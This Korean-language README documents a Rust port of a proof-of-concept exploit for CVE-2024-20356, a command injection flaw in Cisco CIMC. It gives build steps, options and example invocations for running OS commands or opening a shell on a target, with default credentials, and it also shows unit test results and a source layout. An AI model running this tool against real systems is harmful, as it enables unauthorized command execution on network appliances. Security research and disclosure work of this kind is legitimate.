
https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py 의 oxidized 버전
이것은 Cisco CIMC의 Command Injection 취약점인 CVE-2024-20356에 대한 개념 증명입니다.
작성자: Aaron, SherllyNeo에 의해 Rust로 포팅됨
전체 기술적 세부 사항은 https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom에서 확인할 수 있습니다.
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> 대상 호스트 이름 또는 IP 주소 (형식 10.0.0.1 또는 10.0.0.2:1337)
-u, --username <USERNAME> 사용자 이름 [기본값: admin]
-p, --password <PASSWORD> 비밀번호 [기본값: cisco]
-a, --action <ACTION> 수행할 작업 [기본값: test] [가능한 값: test, cmd, shell, dance]
-c, --cmd <CMD> 실행할 OS 명령어 [기본값: None]
-v, --verbose cimc에 대한 추가 정보 표시
-h, --help 도움말 출력
-V, --version 버전 출력
예시 명령어:
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
전체 사용법은 --help 인수를 사용하십시오.
이 개념 증명은 데모 목적으로 제공되며 불법 활동에 사용해서는 안 됩니다. LRQA Nettitude는 이 코드의 사용 또는 오용으로 인한 어떤 손해에 대해서도 책임을 지지 않습니다. 악의적으로 사용하지 마십시오.
이 코드는 원본 코드베이스(original code base)를 기반으로 서버에 접근하지 않고 작성되었습니다.
이 때문에 암호화 함수가 원본과 일치하는지, 로그인 메서드가 모의 서버에서 작동하는지, IP 주소에 대한 인수 파싱이 작동하는지 확인하기 위해 광범위한 단위 테스트를 작성했습니다.
이 테스트를 실행하려면 cargo --test를 사용하십시오.
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
mod.rs 사용을 피하고 main이 lib를 감싸는 얇은 래퍼임을 보여주기 위해 여기에 넣었습니다. 이는 향후 통합 테스트를 가능하게 하기 위함입니다.
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs